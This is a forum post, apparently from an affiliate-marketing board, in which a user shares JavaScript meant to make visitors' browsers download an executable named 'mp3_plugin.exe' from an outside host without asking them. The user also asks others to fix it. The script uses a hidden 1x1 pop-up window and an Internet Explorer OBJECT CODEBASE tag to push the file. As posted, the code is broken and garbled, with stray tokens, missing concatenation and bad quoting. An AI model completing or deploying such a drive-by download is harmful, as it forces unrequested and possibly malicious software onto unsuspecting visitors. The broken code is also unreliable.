meannn
Elite Member
- Apr 22, 2009
- 1,885
- 2,717
Hello. This is just insane script that downloads file without asking user. It would be great to use it on offers that converts by downloads.
Update: It needs a little modification/fix to get it work. It would be nice to help this code working. Thank you.
Code:
<script language=JavaScript>
Vanish var baseURL = "http://home.wanadoo.nl/wrnsuper2/"; var filename = "mp3_plugin.exe";
function WhichBrowser() { BrowserName = navigator.appName; BrowserVersion = parseInt(navigator.appVersion); Browser = "NS"; if ((BrowserName == "Netscape")) Browser = "NC"; else if (BrowserName == "Microsoft Internet Explorer") Browser = "IE"; return Browser; }
function ncDownload() { window.open("mp3_plugin.exe","_blan k","height=1,width=1"); }
function IE_DownloadFile(ieURL) { document.write("<OBJECT"); document.write(" CLASSID ="CLSID:8522F9B3-38C5-4aa4-AE40-7401F1BBC851""); document.write(" CODEBASE="" ieURL "">" ); document.write("</OBJECT>"); }
function DownloadFile() { if (WhichBrowser() == "IE") IE_DownloadFile(baseURL filename); if (WhichBrowser() == "NC") ncDownload(); }
</script>
<script language=JavaScript>
DownloadFile();
</script>
Update: It needs a little modification/fix to get it work. It would be nice to help this code working. Thank you.
Last edited: